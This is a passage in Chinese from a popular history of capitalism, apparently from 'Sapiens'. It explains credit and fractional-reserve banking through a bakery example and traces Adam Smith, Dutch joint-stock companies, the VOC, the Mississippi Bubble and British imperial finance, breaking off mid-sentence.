+历史上大多数时候，经济规模并没有太大的改变。虽然确实全球产值会增加，但多半是因为人口成长、移居到新的土地，而每人平均产值则维持不变。然而，到了现代，一切都已改观。在1500年，全球商品和服务总产值约是2500亿美元；而今天是大约60兆美元。更重要的是，在1500年，每人年平均产值约为550美元，但今天不论男女老幼，每人年平均产值高达8800美元。91这种惊人的成长该如何解释？ +经济学向来就是出了名的复杂。为了方便解释，让我们假设一个简单的例子。 +有一位精打细算的金融家A先生，在加州开了一家银行。 +另外有一个建筑承包商B先生，才刚完成一件大案子，赚到了100万美元的现金。他把这笔现金存进了A先生的银行。于是，这家银行目前拥有了100万美元现金的资金。 +这时，有一位经验丰富但资金不足的面包师傅C小姐，觉得她看到了一个大好的商机：这个城市还没有一个真正好的面包店。只不过，她自己的钱还不足以买到全套需要的设备，像是工业烤箱、水槽、刀、锅碗瓢盆之类。于是，她到银行向A先生提出商业计划，说服他这项计划值得投资。A先生于是就用转账的方式，将100万美元的贷款转到C小姐的银行账户，账面上她就有了100万。 +接着，C小姐请承包商B先生来盖她的面包店，价格刚好又是100万美元。 +等到她写了支票给B先生，B先生又拿去存在A先生的银行里了。 +所以，现在B先生户头里有多少钱？没错，200万美元。 +然而，银行的保险库里实际上到底有多少钱？也没错，100万美元。 +而且，还不光只是这样。就像一般常见的情形，B先生这位承包商在两个月之后告诉C小姐，因为某些无法预期的问题和费用，面包店的建筑费用得涨到200万美元。虽然C小姐非常不高兴，但动工到一半，已经无法喊停了。于是她只好再次到银行，又说服了A先生再贷给她100万。 +于是，A先生又另外转了100万美元到她的账户里。而她也再将钱转到了承包商B先生的账户。 +这样一来，现在B先生户头里有多少钱？已经来到300万美元了。 +但银行里实际上呢？其实一直就只有100万美元。而且事实上，这100万现金从来就没有出过银行。 +根据目前的美国银行法，这种作业还可以再重复7次。所以，就算银行的保险库从头到尾就只有100万美元，但这位承包商的户头最后可以达到1000万美元。银行每次真正持有1元的时候，就能够放款10元；换句话说，也代表我们银行户头上看到的那些金钱，有超过九成其实只是数字，而没有实体的硬币或钞票。92举例来说，如果今天汇丰银行的所有储户都忽然要求结清账户、提领现金，汇丰银行就会立刻倒闭（除非政府介入拯救）。而且，就算是产业龙头的英国劳埃德银行（Lloyds）、德意志银行、花旗银行，世上任何银行都是如此。 +这听起来就像是个巨大的庞氏骗局，不是吗？但如果你觉得这就是骗局一场，那么可以说整个现代经济就只是一场骗局。这事实上并不是件诈骗案，而是另一次人类想象力的惊人发挥。真正让银行（以及整个经济）得以存活甚至大发利市的，其实是我们对未来的信任。“信任”就是世上绝大多数金钱的唯一后盾。 +在这个面包店的例子里，之所以“承包商户头里的金额”与“银行里实际现金的金额”会出现落差，是因为这个落差就在于C小姐的那个面包店。A先生把银行的这笔钱投入这项资产，是因为相信终有一天有利可图。虽然现在面包店连一条面包都还没烤，但不管是C小姐或是A先生，都相信只要假以时日（例如一年后），店家生意就会一飞冲天，每天卖上几千个面包、蛋糕、饼干之类，赚得可观的利润。这么一来，C小姐就能连本带利清偿贷款，如果那个时候B先生想把现金取走，A先生也能轻松应对。因此，我们可以看到整个运作就是基于信任着一种想象的未来；银行家和创业者相信面包店能成功，承包商也相信银行未来一定能把钱再还给他。 +前面我们已经提过，金钱是种十分特殊的概念，可以代表许许多多不同的事物，而且也可以协助将几乎所有的东西互相交换。然而，在历史来到现代之前，这种交换的能力还十分有限。原因就在于，当时金钱只能代表一些“实际存在于当下”的物品。这与“创业”的概念无法兼容，因此也就很难促进经济成长。 +让我们回到面包店的例子。如果金钱只能代表有形、实际的物品，C小姐还有办法开面包店吗？绝无可能。在目前，虽然她有许多梦想，但缺少有形的资源。她想开面包店的唯一办法，就是要找到某个愿意立刻开工但几年后才收钱的承包商，而且到时候面包店究竟赚不赚钱还很难说。然而，这样的承包商几乎是世界级的珍稀品种。于是，这下子咱们的创业者陷入困境。如果没有面包店，她就不能烤面包。不能烤面包，就赚不了钱。赚不了钱，就雇不了承包商。雇不了承包商，就没有面包店。 +创业者的困境 +人类就这样在这种困境里困了几千年，结果就是经济冻结、无力成长。一直要到现代，基于对未来的信任，我们才发展出一套新的系统，才终于有办法跳出这个困境。在这项新系统中，人类发展出“信用”这种金钱概念，代表着目前还不存在、只存在于想象中的货品。正是“信用”的概念，让我们能够预支未来、打造现在。而这背后有一项基本假设，就是未来的资源肯定远远超过目前的资源；只要我们使用未来的收入来投资当下，就会带来许多全新而美好的商机。 +现代经济的奇妙循环 +* * * +如果信用这个概念真是如此美妙，为什么以前从来没有人想得到？当然，他们其实早就想到了。在所有已知的人类文明中，信用的概念都曾经以不同的形式出现，至少早在古苏美尔人的时候就已经存在。过去的问题不在于有没有信用的概念，又或是知不知道如何使用这种概念，而在于当时的人并不相信“明天会更好”，所以并不愿意延展信用。毕竟当时的概念，总觉得黄金时代已经过去，未来顶多就是维持现况，而且可能更糟。用经济学的概念来讲，也就是他们认为财富的总量有限，而且还可能萎缩。因此，当时不论是讲到个人、王国还是世界，大家普遍并不相信过了十年会能够生产出更多的财富。商业看起来就像一场零和游戏。开了一家面包店之后，确实可能会取得利润，但一定是因为抢了隔壁面包店的利益。如果威尼斯蓬勃发展，一定是抢了热那亚的资源。如果英国国王钱财滚滚，一定是瘦了法国国王的荷包。整个世界就像是一块大饼，切法各有不同，但总之就只有一个饼，不可能变得更大。 +正因如此，许多文化都认为赚大钱是种罪恶。耶稣就说：“骆驼穿过针的眼，比财主进神的国还容易呢！”（《马太福音》，19：24）。如果整个饼就是这么大，而我又拿了一大块，一定就是对其他人不公平。于是，富人一定得把他们多赚的财富拿出一些，捐给慈善机构作为赎罪。 +这么说来，如果全球经济这块蛋糕也只有固定大小，信用贷款并无利可图。毕竟，信用就是“今天的蛋糕”和“明天的蛋糕”之间的价差，如果派的大小不会改变，信用贷款也就没有意义。除非你相信向你借钱的面包师（或国王）会从对手那里抢来更大的一块饼，否则借他钱的风险岂不是太大了吗？因此，在进入现代之前，想要贷款难如登天，就算真的贷到一笔款项，通常也是小额、短期、高利率。这样一来，想创业的面包师觉得前途茫茫，而如果是国王想筹措盖宫殿或发动战争的资金，除了增税之外几乎别无他途。这对国王来说问题不大（只要属民还肯乖乖听话就行），但如果是某个厨房女佣，就算有了开面包店的伟大梦想、希望能力争上游赚大钱，就只能继续刷地打扫，做着白日梦。 +这其实是种双输的局面。因为信用有限，想要筹资创业就难上加难。因为创业停滞，经济就不会成长。因为经济没有成长，大家就认为经济不可能成长，即使是手上确实有资金的人，也不愿意提供信用贷款给别人。于是，对于经济停滞的预期，就确实造成了经济停滞的结果。 +会变大的饼 +接着，历史上出现了科学革命和关于进步的概念。所谓的“进步”，是在承认我们的无知之后，认为只要投资进行研究，一切就能变得更好。这个想法很快地就应用到了经济上。只要是相信“进步”的人，就会相信各种地理发现、科技发明和组织发展，能够提升人类生产、贸易和财富的总量。发现了大西洋的新航道而大发利市，并不需要牺牲过去在印度洋的旧航道。推出新的产品时，也不一定就代表要减少旧产品的产量。举例来说，我们开了一家法式面包店，并不代表过去的传统面包店必然关门大吉。民众会培养出新的喜好、吃得更多。我赚钱，不代表你就赔钱；我变壮了，不代表你就得饿死。全球的这块饼，可以有变大的潜力。 +在过去500年间，这种关于进步的概念说服了全球人民，将越来越多的信任交付给未来。正是这种信任创造了信贷；而信贷带来了实实在在的经济成长；正因为有成长，我们就更信任未来，也就愿意提供更多的信贷。这种改变并非一夕之间；经济比较像是云霄飞车，而不是热气球。虽然途中起起伏伏，但大方向十分明确。现在全球的信贷如此盛行，不管是政府、工商企业或个人，都能轻松取得大额、长期、低利率的信用贷款，金额远远超过他们现有的收入。 +图解世界经济史 +由于相信全球经济这块大饼可以不断变大，最后终于产生了一场革命。1776年，苏格兰经济学家亚当·斯密出版了《国富论》，这可以说是史上最重要的经济学著作。在《国富论》的第一卷第八章，亚当·斯密提出了以下的创新论述：如果地主、织工或鞋匠赚得的利润高于养家糊口基本所需，就会雇用更多助手，好进一步提高自己的利润。利润越高，能雇的助手也越多。由此可见，民间企业的获利正是社会整体财富和繁荣的基础。 + + +目前听到这种说法可能觉得十分普通、了无新意，但这是因为我们就活在一个资本主义的世界里，亚当·斯密的理论早就是生活的一部分。从电视新闻里我们每天都可以听到类似的主题以各种不同的形式出现。然而，亚当·斯密明确提出：人类全体财富的基础，就在于希望增加个人利润的自私心理。这一点可以说是人类历史上最革命性的概念，而且还不只是从经济的角度，也包括道德和政治的角度。他其实告诉我们：贪婪是好的，而且我们让自己过得好的时候，不只是自己得利，还能让他人受益。“利己”就是“利他”。 +于是，亚当·斯密让我们认为经济是种双赢的局面，我获利就是你获利。这样一来，我们不仅可以同时享受这份变大的大饼，而且正因为我这块变大了，你那块也会跟着变大。而如果我变穷，因为我买不起你的产品或服务，你赚不到钱也会变穷。如果我有钱，你才能把东西卖给我，所以你也就跟着富裕。亚当·斯密推翻了传统上认为财富与道德彼此对立的概念，这下天堂的大门也会为富人而敞开，而有钱也就是有了道德。在亚当·斯密这个版本的故事里，人会变得富有不是因为剥削邻居，而是因为让整块大饼变大了。随着大饼变大，人人都能受益。这么一来，可以说正是有钱人推动了经济成长的巨轮，让人人都得益，他们可真是整个社会里最有用的典范。 +然而，这一切的立论基础必须取决于富人是不是用这些利润来新建工厂、雇用新员工，而不是将利润浪费在无生产力的活动上。所以，亚当·斯密不断强调的是“利润增加时，地主或织工就会雇用更多助手”，而不是说“利润增加时，守财奴就把钱全部藏得死死的，只有算钱的时候才拿出来”。现代资本主义经济的一大重点，就在于出现了一种新的道德标准：应该把利润拿出来，继续投资生产。这样一来，才能带来更多的利润再重新投入生产，再带来更多的利润，如此不断循环。所谓投资可以分成很多种：扩建工厂、从事科学研究、开发新产品。但不论如何，重点就是要增加产量，转为更多的利润。在新的资本主义教条里，最神圣的开宗明义第一条就是：“生产的利润，必须再投资于提高产量。” +资本主义之名正是由此而来。所谓的“资本主义”（Capitalism），认为“资本”（capital）与“财富”（wealth）有所不同。资本指的是投入生产的各种金钱、物品和资源。而财富指的则是那些埋在地下或是浪费在非生产性活动的金钱、物品和资源。例如，如果有位法老王，把所有的资源拿来盖了一座不具生产力的金字塔，他并不是资本主义者。某个海盗劫掠了一条西班牙运宝船，把一整箱闪闪发光的金币埋到加勒比海的某座小岛上，他也不是个资本主义者。但如果是某个辛勤工作的工厂工人，把收入的一部分拿去投资股票，他就算是个资本主义者。 +现在说到“生产的利润，必须再投资于提高产量”，大家可能觉得十分平凡无奇。但对于人类整体历史来说，大部分时候人类并没有这种概念。像是在前现代时期，当时的人们认为生产这件事并不会造成太大的改变。所以，如果不管做什么，生产都不会带来太了不起的利润，为什么还要把利润重新投入生产呢？因此，中世纪贵族所信奉的伦理就是要为人慷慨、奢华消费，把所有收入用来举办各种比赛和宴会、发动战争、投入慈善，以及兴建宫殿和教堂。很少有贵族会将利润投资于提升庄园的产量、寻找更佳的小麦物种，或是寻找新的市场。 +但到了现代，贵族已经被新精英分子取代，这批新人都是资本主义教条的信徒。过去的公爵侯爷黯然退位，取而代之的是董事、金融家、实业家。这些商业巨贾的富有程度让中世纪贵族瞠乎其后，但他们对于各种奢侈消费的兴趣远低于过去，所有利润只有非常小的部分是用于非生产性活动。 +中世纪的贵族，穿着由金丝和丝绸织成的华丽长袍，大把时间都是用来参加宴会、嘉年华和种种盛大的赛事。相较之下，现代的执行长都是西装打扮，西装简直成了制服，看来就像一群乌鸦；而且他们几乎没什么享乐的时间。一般来说，典型的风险投资者就是赶着一场又一场的商务会谈，努力想找出该把自己的资金投入市场的哪一块，或是严密监督手上股票、债券的上下走势。确实，他穿的可能是范思哲的西装，坐的可能是私人飞机，但与他投入提高人类生产的投资相比，这只是九牛一毛。 +而且，会投资提高生产量的，可不只有这群穿范思哲的商业大亨。就算是普通民众或政府机构，想法也都十分类似。有多少次，我们聚会聊天的话题总会提到该把钱拿来买哪只股票或债券，哪块地或房子后势看好？各国政府也努力将税收转投资到某些具生产力的计划，希望能够增加未来收入。例如兴建一个新的港口，让工厂更容易出口产品，就能让他们赚到更多应纳税所得，最后也就能增加政府的未来收入。而另一个政府也可能觉得投资于教育更好，因为有了大量受良好教育的人才，就能催生获利丰厚的高科技产业，不用兴建大量的港口设施，就能取得大笔税金。 +* * * +一开始，资本主义只是关于经济如何运作的理论。这套理论不仅描述了整件事会如何运作，也提出相关的规范。像是它解释金钱的运作模式，也认为将利润再投资生产就能带来快速的经济成长。然而，资本主义的影响范围逐渐超越了单纯的经济领域，现在它还成了一套伦理，告诉我们该有怎样的行为，该如何教育孩子，甚至该如何思考问题。资本主义的基本原则在于，因为不论是正义、自由甚至快乐都必须依赖于经济成长，所以可说经济成长就是至善（或至少十分接近）。如果你找来一个资本主义者，问他该如何为津巴布韦或阿富汗这些地方带来正义和政治自由，他很可能就会滔滔不绝地告诉你，想要有稳定的民主制度，就必须要有蓬勃的经济、健全的中产阶级，所以重点就是该让当地人有自由企业、勤俭节约、自立自强这些价值概念。 +这种新的宗教对于现代科学的发展也产生了决定性的影响。科学研究背后的金主常常是政府或私人企业。而资本主义的政府和企业想投资某个特定科学研究的时候，最先问的问题常常就是——“这项研究会提高产量和利润吗？会促进经济成长吗？”研究计划如果没办法应付这些问题，想取得研究经费的可能性就微乎其微。要谈到现代科学史，资本主义绝对是不得不谈的重要因素。 +另外，如果不谈科学，就会觉得资本主义能够发展真是莫名其妙。资本主义认为经济可以无穷无尽地发展下去，但这和我们日常生活观察到的宇宙现象完全背道而驰。像是对于狼群来说，如果它们觉得作为猎物的羊群会无限制扩大，岂不是荒谬至极？然而，人类的经济在整个现代时期就是这样不可思议地持续指数成长。唯一的原因，就在于科学家总是能每隔几年就取得另一项发现，提出另一项发明，像是美洲大陆、内燃机引擎，或是运用基因工程的羊。印钞票的是银行和政府，但最后埋单的是科学家。 +在过去几年里，我们看到银行和政府疯狂地印钞票。每个人都担心经济危机会让经济停滞、不再成长，于是他们就这样无中生有地印了数万亿的美元、欧元和日元，让金融体系里凭空出现一大笔便宜信贷，只盼望着科学家、技术人员和工程师能够在经济泡沫破灭之前，设法想出得以力挽狂澜的创世发明或发现。一切指望，就在于那些实验室里的人。像是生物科技、纳米科技的新发现，就可能创造出全新的产业，带来庞大的利润，于是就能拿来打平那些银行和政府从2008年以来虚拟创造出的几万亿数字。而如果实验室的脚步不敌泡沫破灭的速度，可以想见经济前景就会令人十分担忧。 +哥伦布也需要金主 +资本主义不只左右了现代科学的兴起，也影响了欧洲帝国主义的出现。此外，一开始正是欧洲帝国主义创造了资本主义的信贷制度。当然，信贷的概念并不是到现代欧洲才发明，早在几乎所有的农业社会就已出现。而在现代早期，欧洲资本主义的兴起则与亚洲的经济发展密切相关。另外一提，直到18世纪晚期，亚洲仍然是全球的经济强权；换句话说，欧洲人手上的资金还是远远不及中国人、穆斯林或印度人。 +然而，在中国、印度和穆斯林世界的社会政治制度下，信贷只能算是次要角色。像是在土耳其的伊斯坦布尔、伊朗的伊斯法罕（Isfahan）、印度德里或中国北京，虽然商人和银行家也可能有资本主义的思想，但这些商人和商业思维却往往遭到国王和将领的轻视。现代早期的非欧洲帝国，建立者多半是伟大的征服者，像是清王朝的奠基者努尔哈赤，以及建立伊朗阿萨德王朝的纳迪尔沙国王（Nader Shah）；又或是某些官僚和军事精英，例如清朝和奥斯曼土耳其帝国。这些人主要靠着税收和掠夺（两者的差异其实很细微）取得资金，很少需要用到信贷，更不用提是否关心银行家和投资者的利益。 +但在欧洲情况就有所不同，这里的国王和将领也逐渐采用商业的思维模式，后来甚至是由商人和银行家直接成为统治精英。欧洲人征服世界的过程中，所需资金来源从税收逐渐转为信贷，而且也逐渐改由资本家主导，一切的目标就是要让投资取得最高的报酬。于是，由穿着西装、戴着帽子的银行家和商人所建立的帝国，就这样打败了由穿金戴银、配备闪亮盔甲的国王和贵族建立的帝国。这些商业型的帝国，取得资金进行征服的效率就是高出一截。毕竟，没人喜欢缴税，但人人都乐于投资。 +1484年，哥伦布前往谒见葡萄牙国王，希望国王资助他的船队向西航行，寻找前往东亚的新航道。像这样的探索不仅危险重重，而且需要庞大的资金。从造船、购买补给、支付水手和士兵的薪水，都需要一大笔钱，而且这种投资能不能得到报酬都还大有问题。于是，哥伦布遭到葡萄牙国王拒绝。 +但也就像是现在的创业家，哥伦布并没有放弃。他又带着他的想法去找意大利、法国、英国的可能投资者，甚至还再回到葡萄牙一次，但每次都遭到回绝。最后，他决定到刚刚统一的西班牙，找当时在位的费迪南德（Ferdinand）和伊莎贝拉（Isabella）碰碰运气。他聘请了一批经验丰富的说客，终于说服了伊莎贝拉女王投资。接着就像大家知道的，伊莎贝拉女王就像买中了乐透一样。哥伦布的发现让西班牙人征服了美洲，除了开采各个金矿银矿，还种起蔗糖和烟草，让西班牙的国王、银行家和商人简直是美梦成真。 +一百年后，这些王公贵族和银行家不仅荷包满满，而且碰上哥伦布的接班人时，愿意提供的信贷金额也远超过以往。这一切都是因为从美洲搜刮而来的财富。同样重要的一点在于，王公贵族和银行家对于探勘探险的潜力信心大增，也更愿意投入自己的金钱。这就是帝国资本主义的奇妙循环：信贷资助新发现，新发现带来殖民地，殖民地带来利润，利润建立起信任，信任转化为更多的信贷。不管是努尔哈赤还是纳迪尔沙国王，帝国扩张几千公里之后就后继无力。但对资本主义的创业者来说，一次一次的征服，都让经济的动力更加强大。 +然而，这些探险仍然很靠运气，所以整个信贷市场还是显得小心翼翼。许多探险队最后就是两手空空地回到了欧洲，没有什么有价值的发现。举例来说，英国人就曾浪费大笔资金，试图寻找从北极通往亚洲的西北航道。而且，还有很多探险队就这么一去不回，有的撞上冰山，有的遇上飓风，有的惨死于海盗之手。于是，为了增加可能投资者的人数，并减少每个人承担的风险，探险家就开始找上股份有限公司。这么一来，不再需要有某个投资人把自己所有的钱都押在某一条船上，而是由公司从许多投资人手中集资投资，每个人只需要负担自己资金的那一小块风险。这样一来，风险减少，但可能的利润无上限。只要挑对了船，就算只有一点投资，你也可能变成百万富翁。 +时间就这样十年十年地过去，西欧发展出一套复杂的金融系统，可以在极短时间内筹措大笔信贷资金，提供民间企业或政府发展之用。探索征服队伍如果想取得资金，这套系统的效率远超过任何王国或帝国。而从荷兰及西班牙之间的激烈争斗，也可以看出这种信贷系统的新力量。在16世纪，西班牙是全欧洲最强大的国家，帝国幅员辽阔，统治着大部分的欧洲、北美、南美、菲律宾群岛，而且沿着非洲和亚洲海岸，还建立起了一连串的基地。每年都有大批船队，带着大批美洲和亚洲的稀世珍宝满载而归。至于荷兰，国土就是一片沼泽，地小风疾、缺乏资源，原本只是西班牙领地的一个偏远角落罢了。 +1568年，主要信奉新教的荷兰决定起身抵抗他们的天主教西班牙统治者。一开始，这些反叛军就像是堂·吉诃德，只是徒劳无功地冲向不可能打败的风车。但80年之后，荷兰不仅成功脱离西班牙而独立，甚至还取代了西班牙和他们的盟友葡萄牙，成为全球的海上霸主，建立起全球性的荷兰帝国，并成为欧洲最富有的国家。 +荷兰人成功的秘诀，就在于信贷。荷兰人对于陆战兴趣不大，因此就付钱请了雇佣兵来负责和西班牙人打仗。至于荷兰自己，则是船越建越大，开始往海上发展。虽然佣兵或大型战船都所费不赀，但当时荷兰人取得了欧洲新兴金融系统的信任（同时西班牙国王则恣意背叛这些信任），于是比强大的西班牙帝国更容易取得资金提供给各个远征队。金融家提供荷兰足够的信贷，让他们得以建立军队和舰队；这些军队和舰队让荷兰控制了全球贸易路线；这样一来，就产生了极可观的利润。有了这些利润，荷兰人能够偿还贷款，也更加强了金融家对他们的信任。阿姆斯特丹不仅很快成了欧洲首屈一指的重要港口，更是欧洲的金融圣地。 +* * * +荷兰到底是如何赢得了金融体系的信任？首先，他们坚持准时、全额还款，让贷款人借款给他们的风险降低。其次，荷兰司法独立，而且保护个人权利特别是私有财产权。相较之下，独裁国家不愿保障个人和其财产，于是资本也就一点一滴离开，流向那些愿意遵守法制、保护私有财产的国家。 +假设你是个德国某个银行世家的子嗣，父亲看到了一个机会，想在欧洲主要城市开设分行拓展业务。他把你和弟弟分别送到阿姆斯特丹和马德里，给你们每人一万金币的投资资金。你弟弟决定借给西班牙国王，让他招募一支军队向法国国王开战。至于你则决定借给某个荷兰商人，据说那个商人看上了某个位在美洲的既遥远又荒凉的小岛，想买下岛上南边的一块土地。他相信等到旁边的哈德孙河成了一大贸易动脉之后，这个叫作曼哈顿的小岛地价必然扶摇直上。两者的贷款都规定要在一年内偿还。 +一年很快就过去了。荷兰商人把他那块地卖了个高价，如同约定连本带利将钱还给你，让你的父亲可真是眉开眼笑。但在马德里的弟弟就尴尬了。虽然西班牙国王和法国交战打了胜仗，但他现在又卷入与土耳其人的冲突。他需要把手上的每一分钱都投入这场新的战争，也觉得这比依约还钱重要得多了。虽然你弟弟不断寄信到皇宫，又拜托宫廷里的熟人，但一切都无济于事。最后，你的弟弟不但没有赚到约定的利息，连本金都要不回来。这下父亲可没那么开心了。 +接着还有更糟的，国王派了一位财务大臣去找你弟弟，直截了当地说，国王还需要再借一万，而且立刻就要。你弟弟手头没钱，只好写信回家，试着让父亲相信这次国王会遵守约定。毕竟老幺还是得人疼，父亲一时心软，勉强同意。结果就是另一笔一万金币再次一去不回，永远消失在西班牙的国库里。与此同时，你在阿姆斯特丹的事业却是有声有色。你可以为这些积极进取的荷兰商人提供越来越多的贷款，而且他们总是准时、全额还款，绝不拖欠。然而，毕竟运气也不可能只好不坏。有一位老客户觉得荷兰木鞋一定能在巴黎掀起风潮，所以想向你借款在巴黎开个木鞋卖场。但不幸的是，你借钱给他之后，木鞋实在不符合法国女性的品位，结果商人大赔一笔，也不愿意偿还贷款。 +这下父亲可是大发雷霆，命令你们两个都马上去找律师解决。于是，你的弟弟在马德里向法院控告西班牙国王，而你在阿姆斯特丹向法院控告这位木鞋大师。在西班牙，法院可以说是国王开的，法官会推测上意，免得遭遇雷霆之怒。至于在荷兰，法院是政府的一个独立部门，并不需要看人民或亲王的脸色办事。结果，马德里法院驳回了你弟弟的诉讼，但阿姆斯特丹法院判你胜诉，让你取得对那位木鞋商人财产的留置权，好逼他还钱。这下，可是给你父亲好好上了一课。他知道，应该要和商人来往，而不要跟国王来往，而且最好在荷兰做生意，而不要去西班牙。 +而且，你弟弟的厄运还没结束。因为西班牙国王还迫切需要更多的资金来养军队，而且又一心认定你父亲手上还有钱，就用莫须有的叛国罪起诉了你弟弟，表示如果不立刻交出两万金币，就会把他丢到地牢里关一辈子，等着在里面腐烂。 +你的父亲受够了，付了赎金换回自己心爱的儿子，但发誓永远不再和西班牙做生意。于是他收掉了马德里分行，把你弟弟调到鹿特丹。现在，把两家分行都开在荷兰也像是个大好的主意，他甚至还听说，连西班牙的资本家都正在偷偷把资金调离西班牙。因为连他们都意识到，如果他们想让自己的钱不被抢走，而且能创造更多的财富，就最好到真正能够实行法治、尊重私有财产制的地方，例如荷兰。 +就是像这样的事，让西班牙国王逐渐失去了投资者的信任，而荷兰商人则赢得了他们的信心。而且，真正建立起荷兰帝国的，也是这群荷兰商人，而不是荷兰的官方。西班牙国王为了要维持出征的脚步，虽然民众不满的情绪已经日益升高，但他还是不断加征各种税收。与此相对的是，荷兰商人为远征军筹资的方式是贷款，而且也慢慢开始采用出售公司股份的方式，让债权人也能够享有部分的公司获利。这下子，荷兰这些股份公司成了荷兰帝国的中流砥柱；谨慎的投资者绝不会把钱借给西班牙国王，就算要借给荷兰政府也得思量思量，但讲到投资这些荷兰的股份公司，可是乐意之至。 +如果你觉得投资某家公司能赚大钱，但当时所有股份都已经卖完了，你还可以从其他的股份持有人那里去买，只是可能付的价钱会比当初他们买的时候高。至于如果你买了股份，却发现公司前景堪虑，也可以试着用较低的价格卖出股份。这些买卖大行其道，最后的结果就是在欧洲各大主要城市几乎都设立了证券交易所，进行股票交易。 +最著名的荷兰股份制公司就是荷兰东印度公司（Vereenigde Oostindische Compagnie，简称VOC），在1602年得到特许而成立，当时荷兰才刚摆脱了西班牙统治，甚至就在离阿姆斯特丹不远的地方，还能听到西班牙大炮的声响。东印度公司通过出售股票取得建船的资金，再派船前往亚洲，带回中国、印度和印度尼西亚的特产货物。此外，东印度公司也资助旗下船舰的军事行动，打击竞争对手与海盗。最后，东印度公司更是提供资金直接攻下了印度尼西亚。 +印度尼西亚是世界上规模最大的群岛，岛屿数目上万，在17世纪初分别由几百个不同的王国、公国、苏丹和部落统治。东印度公司的商人在1603年首次来到印度尼西亚，当时纯粹只是为了商业目的，但为了保护商业利益、让股东取得最高利润，东印度公司开始攻击那些提高关税的当地政权，另外也与来自欧洲的竞争对手开始交战。东印度公司开始在商船上配备大炮，从欧洲、日本、印度、印度尼西亚招募佣兵，建起堡垒，展开全面的战争和围城行动。这些做法我们今天听起来可能觉得有些离奇，但在现代早期，民间公司雇用的常常不只佣兵，还包括将军、大炮、军舰，甚至可以直接雇用整支编制完整的现成军队。所以，等到像这样由一个民间企业建立起一整个帝国的时候，国际社会可是觉得理所当然，见怪不怪。 + +东印度公司就这样攻占了一个又一个的岛屿，印度尼西亚群岛一大部分都成了他们的殖民地，自此统治印度尼西亚近200年。一直要到1800年，印度尼西亚才改由荷兰政府统治，在接下来的150年间成为荷兰这个国家的殖民地。在今天，有人大声疾呼，认为21世纪的民间企业已经掌握了太多权力。但从现代早期的历史来看，我们早已看过放纵追求自我利益能到什么境界。 +东印度公司在印度洋威风八面的时候，荷兰的西印度公司（WIC）也在大西洋大展身手。为了掌控哈德孙河这个重要商业通道，西印度公司在河口的一座小岛上开拓了一个殖民地，名为“新阿姆斯特丹”（New Amsterdam）。这个殖民地不断遭受美国原住民威胁，英国人也多次入侵，最后在1664年落入英国手中。英国人将这个城市改名“纽约”（New York，即“新约克”，约克为英国郡名）。当时西印度公司曾在殖民地筑起一道墙，用来抵御英国人和美国原住民，这道墙的位置现在成了世界上最著名的街道：华尔街（Wall Street，直译为“墙街”）。 +* * * +随着17世纪走向尾声，由于荷兰人过于自满、战争成本又过于高昂，他们不仅失去了纽约，也无法再维持欧洲金融和帝国引擎的地位。法国和英国成了这个地位的强力竞争对手。一开始，似乎看来法国的赢面较大，毕竟它面积大于英国，更富有，人口更多，而且军队的规模和经验也胜出。然而，最后是由英国赢得了金融系统的信任，而法国只证明自己还不配得到这个地位。欧洲在18世纪爆发了密西西比泡沫事件（Mississippi Bubble），这是当时欧洲最大的金融危机，法国王室也在这次事件中臭名远播。这个故事同样也是由一个打算建立帝国的股份公司开始。 +在1717年，成立于法国的密西西比公司（Mississippi Company）在美洲的密西西比河下游谷地开拓殖民地，新奥尔良（New Orleans）也是在此时开始成形。为了取得这项庞大计划的资金，这家与路易十五宫廷关系良好的公司便在巴黎证券交易所上市出售股份。公司所有人约翰·劳（John Law）当时身兼法国央行行长，还得到国王任命为主计大臣，大约等于现代的财政部长。在1717年，密西西比河下游河谷其实大约只有沼泽和鳄鱼，但密西西比公司却是撒着漫天大谎，把这个地方描述得金银遍地、无限商机。许多法国贵族、商人和城市里那些冷漠的中产阶级都信了这套谎言，于是密西西比公司股价一飞冲天。公司上市的股价是每股500里弗（livre）。1719年8月1日，股价涨到每股2750里弗。8月30日，股价已经飙升到每股4100里弗；9月4日升上每股5000里弗。等到12月2日，密西西比公司的股价每股超过10000里弗大关。当时，整个巴黎街头洋溢着一种幸福感。民众卖掉了自己所有的财产，借了大笔的金钱，只为了能够购买密西西比公司的股票。每个人都相信自己找到了快速致富的捷径。 +但就在几天后，开始兴起一片恐慌。开始有些股票炒手，意识到这种股价实在太夸张，完全不可能维持。经过他们仔细算计，觉得最好尽快在股价高点脱手。由于市场上的供给量上升，股价应声下跌。其他投资者见到价格下跌，也想赶快收手离场。就这样，股票价格持续暴跌，简直就像一场雪崩。为了稳定股价，法国央行行长（也就是约翰·劳本人）决定买进密西西比公司的股票，但最终还是无以为继，耗尽了央行所有资金。到了这步田地，法国主计长（仍然是约翰·劳本人）又下令印制更多钞票，才能继续购买更多股票。就这样，整个法国金融体系就成了一个大泡沫。无论约翰·劳的金融操作再怎么高明，仍然无力回天。密西西比公司的股价从每股10000里弗大跌至每股1000里弗，接着更是彻底崩溃，再也没有任何价值。到了这一刻，法国央行和国库手中只有大量如壁纸的股票，再也没有任何金钱。那些最大的股票炒手多半得以及时脱手，所以几乎没有受到什么伤害。但小型投资人则是倾家荡产，许多因而自杀。 +密西西比泡沫可以说是史上最惨烈的一次金融崩溃。法国王室的金融体系一直没能真正走出这场重大的打击。密西西比公司利用其政治影响力操纵股价、推动购买热潮，结果让法国人民对法国金融系统和国王的金融智慧都失去信心。路易十五越来越难推动各种信贷计划，而这也成为法国海外领土逐渐落入英国手中的主因之一。在当时，英国仍然可以轻松用低利率取得贷款，但法国不仅贷款困难，还得付出高额的利息。为了要处理日益高筑的债台，法国国王只能越借越多，而利率也越借越高。最后来到路易十六，他在祖父驾崩后继位，但在18世纪80年代却发现年度预算有一半都得拿来支付利息，财政已濒临破产。到了1789年，他迫于无奈，不得不召开已经长达一个半世纪未曾召开的三级会议，希望能解决这项危机。就这样，法国大革命揭开了序幕。 +法国海外霸权分崩离析的同时，大英帝国却是急遽扩张。大英帝国就像先前的荷兰帝国，主要是由民间股份公司所建立及管理，而这些公司也都在伦敦证券交易所上市。例如英国在北美的第一批殖民地成立于17世纪初，建立者都是民间股份公司，例如伦敦公司（London Company）、普利茅斯公司（Plymouth Company）、多切斯特公司（Dorchester Company）和马萨诸塞公司（Massachusetts Company）。 +至于打下印度次大陆的，同样也不是英国官方，而是英国东印度公司的佣兵。这家公司的成就甚至比荷兰东印度公司更加辉煌。公司总部位于伦敦的利德贺街（Leadenhall 